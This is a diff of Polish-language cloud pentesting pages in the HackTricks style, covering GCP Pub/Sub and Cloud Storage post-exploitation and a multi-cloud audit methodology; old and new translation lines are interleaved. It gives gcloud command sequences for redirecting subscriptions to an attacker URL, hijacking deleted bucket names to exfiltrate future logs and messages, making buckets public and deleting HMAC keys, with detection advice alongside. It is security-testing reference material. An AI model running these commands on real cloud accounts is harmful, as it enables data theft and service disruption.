<summary>Utwórz subskrypcję typu pull i pobierz wiadomości</summary>
<summary>Utwórz pull subscription i pobierz wiadomości</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
Użyj tego uprawnienia, aby zaktualizować ustawienie tak, aby wiadomości były zapisywane w miejscu, do którego masz dostęp (URL, Big Query table, Bucket), lub aby je po prostu zakłócić.
Użyj tego uprawnienia, aby zaktualizować jakieś ustawienie, tak aby wiadomości były przechowywane w miejscu, do którego masz dostęp (URL, tabela Big Query, Bucket), albo po prostu żeby to zakłócić.
<details>
<summary>Punkt końcowy aktualizacji subskrypcji</summary>
<summary>Update subscription endpoint</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
</details>
### Przejęcie nazwy bucketu subskrypcji Cloud Storage - `storage.buckets.delete`
Subskrypcje Pub/Sub mogą zapisywać dostarczane wiadomości do bucketów Cloud Storage. Jeśli subskrypcja nadal wskazuje na `gs://<bucket-name>`, a atakujący może usunąć ten bucket, atakujący może ponownie utworzyć tę samą globalnie unikalną nazwę bucketa w innym projekcie i otrzymywać przyszłe wiadomości bez zmieniania subskrypcji.
Może to być wartościowe, gdy atakujący nie może użyć `pubsub.subscriptions.update`, ale może usunąć docelowy bucket przy użyciu uprawnień takich jak `storage.buckets.delete`, `storage.objects.delete` i `storage.objects.list`.
```bash
# Find Cloud Storage subscriptions and their destinations
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Empty and delete the destination bucket
gcloud storage rm -r gs://<BUCKET_NAME>
# Recreate the same bucket name under attacker control
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
# Grant the Pub/Sub service agent write access if delivery requires it
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.legacyBucketReader' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** exfiltration przyszłych wiadomości Pub/Sub archiwizowanych do Cloud Storage, w tym zdarzeń aplikacji, nieudanych payloadów pipeline, logów lub rekordów ingestii data lake.
**Detection & Mitigation:** alertuj o usunięciu bucketów używanych przez subskrypcje Pub/Sub, review subskrypcje z `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, i ogranicz destrukcyjny dostęp do bucketów archiwizacji wiadomości.
### `pubsub.subscriptions.setIamPolicy`
Przyznaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej opisanych ataków.
Nadaj sobie uprawnienia potrzebne do wykonania dowolnych z wcześniej opisanych attacks.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Dołącz schema do topic tak, aby messages ich nie spełniały i w efekcie topic został zakłócony.\
Jeśli nie ma żadnych schema, może być konieczne utworzenie jednego.
Podłącz schema do topic, tak aby wiadomości jej nie spełniały i w efekcie topic został zakłócony.\
Jeśli nie ma żadnych schemas, możesz potrzebować stworz jedną.
<details>
<summary>Utwórz plik schema i dołącz do topic</summary>
<summary>Create schema file and attach to topic</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
Może się wydawać, że usunięcie schematu pozwoli na wysyłanie wiadomości, które nie spełniają schematu. Jednakże, ponieważ schemat zostanie usunięty, żadna wiadomość faktycznie nie trafi do tematu. Więc to jest **BEZUŻYTECZNE**:
To może wyglądać jak usuwanie schemy, po czym będziesz mógł wysyłać wiadomości, które nie spełniają wymagań schemy. Jednak ponieważ schema zostanie usunięta, żadna wiadomość tak naprawdę nie trafi do topic. To jest więc **BEZUŻYTECZNE**:
<details>
<summary>Usuń schemat (nieprzydatne)</summary>
<summary>Delete schema (not useful)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.schemas.setIamPolicy`
Nadaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej omówionych ataków.
Nadaj sobie uprawnienia potrzebne do wykonania dowolnego z wcześniej opisanych ataków.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
To utworzy snapshot wszystkich unACKed wiadomości i przywróci je do subskrypcji. Niezbyt przydatne dla atakującego, ale oto:
To utworzy snapshot wszystkich niepotwierdzonych wiadomości i umieści je z powrotem w subscription. Niezbyt przydatne dla atakującego, ale tutaj jest to:
<details>
<summary>Utwórz snapshot i wykonaj do niego seek</summary>
<summary>Utwórz snapshot i przejdź do niego</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
@@ -1,18 +1,18 @@
# GCP - Post-eksploatacja Cloud Storage
# GCP - Storage Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Storage
Aby uzyskać więcej informacji o Cloud Storage, sprawdź tę stronę:
Więcej informacji o Cloud Storage znajdziesz na tej stronie:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Umożliwienie dostępu publicznego
### Give Public Access
Możliwe jest przyznanie zewnętrznym użytkownikom (zalogowanym w GCP lub nie) dostępu do zawartości bucketów. Jednak domyślnie opcja upublicznienia bucketów jest wyłączona:
Możliwe jest nadanie zewnętrznym użytkownikom (zalogowanym w GCP lub nie) dostępu do zawartości bucketów. Jednak domyślnie bucket będzie miał wyłączoną opcję publicznego udostępniania:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,9 +25,9 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
Jeśli spróbujesz nadać **ACLs to a bucket with disabled ACLs**, napotkasz ten błąd: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Jeśli spróbujesz nadać **ACLs do bucketa z wyłączonymi ACLs**, napotkasz ten błąd: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Aby uzyskać dostęp do otwartych bucketów przez przeglądarkę, wejdź na URL `https://<bucket_name>.storage.googleapis.com/` lub `https://<bucket_name>.storage.googleapis.com/<object_name>`
Aby uzyskać dostęp do otwartych bucketów przez browser, użyj URL `https://<bucket_name>.storage.googleapis.com/` lub `https://<bucket_name>.storage.googleapis.com/<object_name>`
### `storage.objects.delete` (`storage.objects.get`)
@@ -41,9 +41,41 @@ Aby usunąć bucket:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### Dezaktywacja HMAC Keys
### Global takeover nazwy bucketu przez upstream writers
Uprawnienie `storage.hmacKeys.update` pozwala dezaktywować HMAC keys, a uprawnienie `storage.hmacKeys.delete` pozwala tożsamości usuwać HMAC keys powiązane z service accounts w Cloud Storage.
Nazwy bucketów Cloud Storage są globalnie unikalne. Przed usunięciem bucketu sprawdź, czy jakaś zautomatyzowana usługa nadal zapisuje do tego bucketu po nazwie. Jeśli bucket zostanie usunięty, a ta sama nazwa zostanie ponownie utworzona w projekcie kontrolowanym przez atakującego, upstream writers, takie jak Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions lub Storage Transfer Service jobs, mogą nadal zapisywać przyszłe dane do zastępczego bucketu.
```bash
# Cloud Logging sinks using GCS
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,writerIdentity)'
# Pub/Sub subscriptions writing messages into GCS
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Storage Transfer Service jobs
gcloud transfer jobs list --project <PROJECT_ID>
# Delete and reclaim the destination bucket name
gcloud storage rm -r gs://<BUCKET_NAME>
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
```
Przyznaj odpowiedniej tożsamości writer dostęp do replacement bucket, jeśli wymaga tego upstream service:
```bash
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='<WRITER_IDENTITY_MEMBER>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** długoterminowa eksfiltracja logs, messages, transfer outputs, backups, lub data pipeline artifacts bez modyfikowania oryginalnego zasobu router.
**Detection & Mitigation:** traktuj usunięcie bucket jako wysokie ryzyko, gdy bucket jest używany przez sinks/subscriptions/jobs, alertuj o dangling destinations, ogranicz `storage.buckets.delete`, i stosuj retention policies lub legal holds dla krytycznych export buckets, gdy to odpowiednie.
### Deactivate HMAC Keys
Uprawnienie `storage.hmacKeys.update` pozwala wyłączać HMAC keys, a uprawnienie `storage.hmacKeys.delete` pozwala tożsamości usuwać HMAC keys powiązane z service accounts w Cloud Storage.
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,13 +84,13 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
Uprawnienie `storage.buckets.setIpFilter`, wraz z uprawnieniem `storage.buckets.update`, pozwala tożsamości skonfigurować filtry adresów IP dla bucketu w Cloud Storage, określając, które zakresy lub adresy IP mają dostęp do zasobów tego bucketu.
Uprawnienie `storage.buckets.setIpFilter`, razem z uprawnieniem `storage.buckets.update`, pozwala tożsamości skonfigurować filtry adresów IP na bucket Cloud Storage, określając, które zakresy lub adresy IP mają dostęp do zasobów bucketa.
Aby całkowicie wyczyścić filtr IP, można użyć następującego polecenia:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
Aby zmienić filtrowane adresy IP, można użyć następującego polecenia:
Aby zmienić filtrowane IP, można użyć następującego polecenia:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
@@ -76,7 +108,7 @@ Plik JSON reprezentuje sam filtr, coś w stylu:
}
```
### `storage.buckets.restore`
Przywróć bucket za pomocą:
Przywróć bucket, używając:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
@@ -4,41 +4,67 @@
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
## Podstawowa metodologia
## Basic Methodology
Każda chmura ma swoje specyfiki, ale ogólnie istnieje kilka **wspólnych rzeczy, które pentester powinien sprawdzić** podczas testowania środowiska cloud:
Każda cloud ma swoje własne specyficzne cechy, ale ogólnie istnieje kilka **wspólnych rzeczy, które pentester powinien sprawdzić** podczas testowania środowiska cloud:
- **Kontrole benchmarkowe**
- To pomoże ci **zrozumieć rozmiar** środowiska i **używane usługi**
- Pozwoli też znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów można przeprowadzić przy pomocy **narzędzi automatycznych**
- **Benchmark checks**
- To pomoże Ci **zrozumieć rozmiar** środowiska i **używane usługi**
- Pozwoli Ci to również znaleźć kilka **szybkich misconfigurations**, ponieważ większość tych testów możesz wykonać za pomocą **automated tools**
- **Services Enumeration**
- Prawdopodobnie nie znajdziesz tu znacznie więcej błędów konfiguracyjnych, jeśli poprawnie przeprowadziłeś testy benchmarkowe, ale możesz trafić na takie, których nie wyszukiwano podczas testów benchmarkowych.
- To pozwoli ci wiedzieć **co dokładnie jest używane** w środowisku cloud
- Prawdopodobnie nie znajdziesz tutaj wielu dodatkowych misconfigurations, jeśli poprawnie wykonałeś testy benchmark, ale możesz znaleźć takie, których nie szukano w teście benchmark.
- To pozwoli Ci ustalić, **co dokładnie jest używane** w cloud env
- To bardzo pomoże w kolejnych krokach
- **Sprawdź zasoby wystawione na zewnątrz**
- Można to zrobić podczas poprzedniej sekcji, musisz **wykryć wszystko, co potencjalnie jest wystawione** do Internetu i w jaki sposób można uzyskać do tego dostęp.
- Tu mam na myśli **ręcznie wystawioną infrastrukturę** jak instancje z serwisami WWW lub innymi otwartymi portami, a także inne **cloud managed services, które można skonfigurować** jako wystawione (np. DBs lub buckets)
- Następnie powinieneś sprawdzić **czy dany zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?)
- **Sprawdź uprawnienia**
- Tutaj powinieneś **ustalić wszystkie uprawnienia każdej roli/użytkownika** w środowisku cloud i jak są używane
- Zbyt **wiele kont o wysokich uprawnieniach** (kontrolujących wszystko)? Generowane klucze nieużywane?... Większość tych kontroli powinna być już przeprowadzona w testach benchmarkowych
- Jeśli klient używa OpenID lub SAML lub innej **federacji**, może być konieczne poproszenie ich o dodatkowe **informacje** dotyczące **jak przypisywana jest każda rola** (to nie to samo, gdy rola admin przypisana jest do 1 użytkownika lub do 100)
- Nie wystarczy ustalić, którzy użytkownicy mają uprawnienia **admin** "*:*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**.
- Co więcej, istnieją **potencjalne privesc** ścieżki do wykorzystania przy nadużyciu uprawnień. Wszystkie te kwestie powinny zostać uwzględnione i należy zgłosić **jak najwięcej privesc ścieżek**.
- **Sprawdź integracje**
- Jest bardzo prawdopodobne, że wewnątrz środowiska cloud wykorzystywane są **integracje z innymi cloudami lub SaaS**.
- Dla **integracji cloud, które audytujesz** z inną platformą powinieneś powiadomić, **kto ma dostęp do (nadużycia) tej integracji** oraz zapytać, **jak wrażliwa** jest akcja, która jest wykonywana.\
Na przykład: kto może zapisywdo AWS bucketu, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest ta akcja po stronie GCP przy przetwarzaniu tych danych).
- Dla **integracji wewnątrz audytowanego cloud** pochodzących z zewnętrznych platform, powinieneś zapytać, **kto ma zewnętrzny dostęp do (nadużycia) tej integracji** i sprawdzić, jak te danewykorzystywane.\
Na przykład, jeśli serwis używa obrazu Docker hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie poufne informacje oraz uprawnienia uzyska ten obraz po uruchomieniu wewnątrz AWS.
- **Check exposed assets**
- Można to zrobić podczas poprzedniej sekcji; musisz **ustalić wszystko, co jest potencjalnie exposed** do Internetu w jakikolwiek sposób i jak można uzyskać do tego dostęp.
- Mam tu na myśli **manualnie exposed infrastructure**, takie jak instance z stronami WWW lub innymi exposed portami, a także inne **cloud managed services, które mogą być skonfigurowane** tak, aby były exposed (takie jak DBs lub buckets)
- Następnie powinieneś sprawdzić, **czy ten resource może być exposed, czy nie** (confidential information? vulnerabilities? misconfigurations w exposed service?)
- **Check permissions**
- Tutaj powinieneś **ustalić wszystkie permissions każdego role/user** wewnątrz cloud i jak są one używane
- Zbyt **wiele wysoko uprzywilejowanych** (control everything) kont? Wygenerowane keys nieużywane?... Większość z tych check powinna już zostać wykonana w testach benchmark
- Jeśli client używa OpenID lub SAML albo innej **federation**, możesz potrzebować popros ich o dalsze **information** na temat **tego, jak przypisywana jest każda rola** (to nie to samo, gdy rola admin jest przypisana do 1 usera albo do 100)
- To **nie wystarczy, aby znaleźć**, którzy users mają uprawnienia **admin** "\*:\*". Istnieje wiele **innych permissions**, które w zależności od używanych services mogą być bardzo **sensitive**.
- Ponadto istnieją **potencjalne ścieżki privesc**, które można wykorzystać, nadużywając permissions. Wszystkie te rzeczy powinny być wzięte pod uwagę i należy zgłosić **jak najwięcej ścieżek privesc, jak to możliwe**.
- **Check Integrations**
- Jest bardzo prawdopodobne, że w cloud env używane są **integrations z innymi clouds lub SaaS**.
- W przypadku **integrations cloud, który audytujesz**, z inną platformą powinieneś ustalić, **kto ma access do (ab)use tej integration** i powinieneś zapytać, **jak sensitive** jest wykonywana akcja.\
Na przykład, kto może pisać w AWS bucket, z którego GCP pobiera data (zapytaj, jak sensitive jest akcja w GCP traktująca te data).
- W przypadku **integrations inside the cloud, który audytujesz**, z zewnętrznych platform powinieneś zapytać, **kto ma external access do (ab)use tej integration** i sprawdzić, jak te dataywane.\
Na przykład, jeśli service używa Docker image hostowanego w GCR, powinieneś zapytać, kto ma access do jego modyfikacji i jakie sensitive info oraz access otrzyma ten image po uruchomieniu inside AWS cloud.
## Narzędzia Multi-Cloud
### Hunt autonomous data streams writing to globally-unique storage
Istnieje kilka narzędzi, które można wykorzystać do testowania różnych środowisk cloud. Kroki instalacji i linki zostaną podane w tej sekcji.
During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
Focus this check in the relevant service pages:
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
{{#endref}}
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
{{#endref}}
{{#ref}}
gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
{{#endref}}
{{#ref}}
aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
{{#endref}}
{{#ref}}
azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
{{#endref}}
## Multi-Cloud tools
Istnieje kilka tools, które można wykorzystać do testowania różnych cloud environments. Kroki instalacji i linki zostaną wskazane w tej sekcji.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
Narzędzie do **identyfikowania złych konfiguracji i privesc path w cloudach i pomiędzy cloudami/SaaS.**
Tool do **identyfikacji złych configurations i ścieżek privesc w clouds oraz across clouds/SaaS.**
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Obsługuje **AWS, GCP & Azure**. Sprawdź, jak skonfigurować każdego dostawcę na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Obsługuje **AWS, GCP & Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -168,9 +194,9 @@ steampipe check all
```
<details>
<summary>Sprawdź wszystkie projekty</summary>
<summary>Sprawdź wszystkie Projects</summary>
Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc` wskazujący wszystkie projekty do przetestowania. Możesz po prostu postępować zgodnie z wskazówkami z poniższego skryptu
Aby sprawdzić wszystkie projects, musisz wygenerować plik `gcp.spc` wskazujący wszystkie projekty do testowania. Możesz po prostu postępować zgodnie z instrukcjami z poniższego skryptu
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
Aby sprawdzić **inne informacje o GCP** (przydatne do enumerowania usług) użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Aby sprawdzić **inne insights GCP** (przydatne do enumeracji services) użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Aby sprawdzić kod Terraform dla GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Aby sprawdzić kod Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Więcej pluginów GCP dla Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
Więcej pluginów GCP Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -225,9 +251,9 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
Aby sprawdzić kod Terraform dla AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Więcej wtyczek AWS dla Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -238,11 +264,11 @@ Wymaga python2.7 i wygląda na nieutrzymywany.
### Nessus
Nessus posiada skan _**Audit Cloud Infrastructure**_ obsługujący: AWS, Azure, Office 365, Rackspace, Salesforce. W **Azure** wymagane są dodatkowe konfiguracje, aby uzyskać **Client Id**.
Nessus ma skan _**Audit Cloud Infrastructure**_ obsługujący: AWS, Azure, Office 365, Rackspace, Salesforce. W **Azure** potrzebne są dodatkowe konfiguracje, aby uzyskać **Client Id**.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury.
Cloudlist to narzędzie **multi-cloud do pozyskiwania Assets** (Hostnames, IP Addresses) od Cloud Providers.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury i relacje między nimi w intuicyjnym widoku grafu opartym na bazie danych Neo4j.
Cartography to narzędzie Python, które konsoliduje zasoby infrastruktury i relacje między nimi w intuicyjnym widoku grafu opartym na bazie danych Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, oraz prezentuje je w intuicyjnym widoku grafu opartym na bazie danych Neo4j.
Starbase zbiera zasoby i relacje z usług i systemów, w tym cloud infrastructure, aplikacji SaaS, security controls i innych, do intuicyjnego widoku grafu wspieranego przez bazę danych Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Odkrywa najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell.
Odkryj najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +398,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Narzędzie do znajdowania infrastruktury firmy (target), plików i aplikacji u największych dostawców chmurowych (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Narzędzie do znajdowania infrastruktury, plików i aplikacji firmy (target) u głównych dostawców chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox to narzędzie do wyszukiwania wykorzystalnych ścieżek ataku w infrastrukturze chmurowej (obecnie obsługiwane tylko AWS & Azure, wsparcie dla GCP wkrótce).
- Jest to narzędzie do enumeracji, mające na celu uzupełnianie manualnego pentestingu.
- Nie tworzy ani nie modyfikuje żadnych danych w środowisku chmurowym.
- CloudFox to narzędzie do znajdowania exploitable attack paths w infrastrukturze cloud (obecnie wspierane tylko AWS & Azure, z GCP wkrótce).
- To narzędzie enumeracyjne, które ma uzupełniać manual pentesting.
- Nie tworzy ani nie modyfikuje żadnych danych w środowisku cloud.
### Więcej list narzędzi do bezpieczeństwa chmurowego
### Więcej list narzędzi do cloud security
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -410,12 +436,19 @@ aws-security/
azure-security/
{{#endref}}
## Typowe funkcje bezpieczeństwa chmurowego
## Common Cloud Security Features
### Poufne przetwarzanie
### Confidential Computing
{{#ref}}
confidential-computing/luks2-header-malleability-null-cipher-abuse.md
{{#endref}}
## References
- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
{{#include ../banners/hacktricks-training.md}}